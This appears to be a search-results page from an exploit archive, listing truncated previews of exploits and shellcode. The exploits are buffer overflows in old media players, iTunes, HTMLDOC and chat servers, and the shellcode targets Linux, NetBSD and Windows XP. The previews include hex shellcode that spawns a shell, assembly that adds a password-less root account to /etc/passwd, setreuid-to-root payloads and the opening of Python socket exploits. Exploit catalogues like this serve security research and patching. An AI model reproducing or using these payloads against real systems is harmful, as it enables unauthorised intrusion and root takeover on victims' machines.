7593 matches found
Rosoft Media Player 4.4.4 - Local Buffer Overflow (SEH) (1)
Exploit Title: Rosoft Media Player 4.4.4 Buffer OverFlow Exploit SEH Download : http://download.cnet.com/3001-204-10044022.html?spi=02537eab7f440a326729a3dd1f7c6485 Date: 16/01/2010 Author: Red-D3v1L Special Thx For : H1s0k4 bEst 0verflower In ThE World xD sh0otz fly t0 :...
Apple iTunes 8.1.x - daap Remote Buffer Overflow
Apple iTunes 8.1.x - daap Remote Buffer Overflow / iTunes-CVE09-s36.c Apple iTunes 8.1.x daap Buffer overflow remote exploit CVE-2009-0950 Coded By : .:: Simo36 ::. Contact : [email protected] [email protected] Home : www.sec-r1z.com Tested on : Win XP SP/SP3 Frensh , Win2k pro SP4 english...
Apple iTunes 8.1.x - 'daap' Remote Buffer Overflow
/ iTunes-CVE09-s36.c Apple iTunes 8.1.x daap Buffer overflow remote exploit CVE-2009-0950 Coded By : .:: Simo36 ::. Contact : [email protected] [email protected] Home : www.sec-r1z.com Tested on : Win XP SP/SP3 Frensh , Win2k pro SP4 english Thanks To : Ryujin & Stack & r1z finally I want ...
FDF Files Containing Timed JavaScript (CVE-2009-3956)
FDF is a file format used for representing form data and annotations that are contained in a PDF form. A remote attacker may exploit this issue to inject JavaScript into a PDF file from any domain on the internet. When Acrobat loads an FDF file, there is no check to ensure that the target file,...
HTMLDOC 1.9.x-r1629 local .html buffer overflow(win32) exploit
Exploit for unknown platform in category local exploits ============================================================== HTMLDOC 1.9.x-r1629 local .html buffer overflowwin32 exploit ============================================================== /HTMLDOC 1.9.x-r1629 local .html buffer overflowwin32...
HTMLDOC 1.9.x-r1629 (Windows x86) - '.html' Local Buffer Overflow
/HTMLDOC 1.9.x-r1629 local .html buffer overflowwin32 exploit download: http://www.htmldoc.org/software.php?VERSION=1.9.x-r1629&FILE=htmldoc/snapshots/htmldoc-1.9.x-r1629.tar.bz2 header 19 bytes junk 268 bytes EIP register 4 bytes NOP SLEED 15 bytes calc.exe shellcode 338 bytes PLEASE READ: 1.Run...
YPOPs! v0.9.7.3 Buffer Overflow (SEH)
Exploit for unknown platform in category dos / poc ===================================== YPOPs! v0.9.7.3 Buffer Overflow SEH ===================================== Version:0.9.7.3 Tested on: Windows XP SP3 !/usr/bin/python All modules are SafeSEH protected in service pack 3. import socket, sys pri...
linux/x86 read(0 buf 2541)
No description provided by source. / readnchmod-core.c by Charles Stevenson [email protected] Example of strace output if you pass in "/bin/sh\x00" read0, "/bin/sh\0", 2541 = 8 chmod"/bin/sh", 04755 = 0 Any file path can be given. For example: /tmp/.sneakyguy The only caveat is that the string must...
linux/x86 execve(""/bin/ash"" 0 0)
No description provided by source. / 21 byte execve"/bin/ash",0,0; shellcode for linux x86 by zasta zasta at darkircop.org / include unistd.h include stdio.h char shellcode = "\x31\xc9\xf7\xe1\x04\x0b\x52\x68" "\x2f\x61\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\xcd\x80"; void code asm" xor %ecx,%ecx...
linux/x86 add root user r00t with no password to
No description provided by source. / By Kris Katterjohn 11/14/2006 69 byte shellcode to add root user 'r00t' with no password to /etc/passwd for Linux/x86 section .text global start start: ; open"/etc//passwd", OWRONLY | OAPPEND push byte 5 pop eax xor ecx, ecx push ecx push 0x64777373 push...
linux/x86 if(read(fd buf 512)<=2) _exit(1) else buf()
No description provided by source. / h3ll-core.c by Charles Stevenson [email protected] I made this as a chunk you can paste in to make modular remote exploits. I use it as a first stage payload when I desire to follow up with a real large payload of goodness. This actually is a bit larger than...
netbsd/x86 setreuid(0 0)
No description provided by source. / minervini at neuralnoise dot com c 2005 NetBSD/i386 2.0, setreuid0, 0; execve"/bin//sh", ..., NULL; note: unsafe shellcode, but 29 bytes long; doesn't work if eax & 0x40000000 != 0; / include sys/types.h include stdio.h include string.h char scode = "\x99" //...
BigAnt Server v2.52 Remote Buffer Overflow Exploit 2
No description provided by source. !/usr/bin/python BigAnt Server 2.52 remote buffer overflow exploit 2 Author: DouBleZer0 Vulnerability discovered by Lincoln a another version of the original exploit by Lincoln application is little hazy.. import sys,socket host = sys.argv1 buffer= "\x90" 20...
Windows XP Pro Sp2 English "Wordpad" Shellcode
No description provided by source. view source print? +-------------------------------------------------+ | Windows XP Pro Sp2 English "Wordpad" Shellcode. | +-------------------------------------------------+ Size : 12 Bytes,Null Free. Author : Aodrulez. Email : [email protected] Milw0rm :...
Windows XP Pro Sp2 English "Message-Box" Shellcode
No description provided by source. +-----------------------------------------------------+ | Windows XP Pro Sp2 English "Message-Box" Shellcode. | +-----------------------------------------------------+ Size : 16 Bytes, Null-Free. Author : Aodrulez. Email : [email protected] Shellcode =...
linux/x86 append "/etc/passwd" & exit() 107 bytes
No description provided by source. view source print? / appendpasswd.c Payload: Adds the string: toor::0:0:t00r:/root:/bin/bash to /etc/passwd thereby adding a password-less root account with login name "toor" Platform: linux/x86 Size: 107 bytes Author: $andman / / 08049054 start: 8049054: eb 38...
Windows XP Pro Sp2 English "Message-Box" Shellcode
Windows XP Pro Sp2 English "Message-Box" Shellcode. Shellcode exploit for windows platform +-----------------------------------------------------+ | Windows XP Pro Sp2 English "Message-Box" Shellcode. | +-----------------------------------------------------+ Size : 16 Bytes, Null-Free. Author :...
Windows XP Pro Sp2 English "Wordpad" Shellcode
Windows XP Pro Sp2 English "Wordpad" Shellcode. Shellcode exploit for windows platform +-------------------------------------------------+ | Windows XP Pro Sp2 English "Wordpad" Shellcode. | +-------------------------------------------------+ Size : 12 Bytes,Null Free. Author : Aodrulez. Email :...
win32/xp Pro Sp2 English "Wordpad" Shellcode
Exploit for win32 platform in category shellcode ============================================ win32/xp Pro Sp2 English "Wordpad" Shellcode ============================================ +-------------------------------------------------+ | Windows XP Pro Sp2 English "Wordpad" Shellcode. |...
win32/xp Pro Sp2 English "Message-Box" Shellcode
Exploit for win32 platform in category shellcode ================================================ win32/xp Pro Sp2 English "Message-Box" Shellcode ================================================ +-----------------------------------------------------+ | Windows XP Pro Sp2 English "Message-Box"...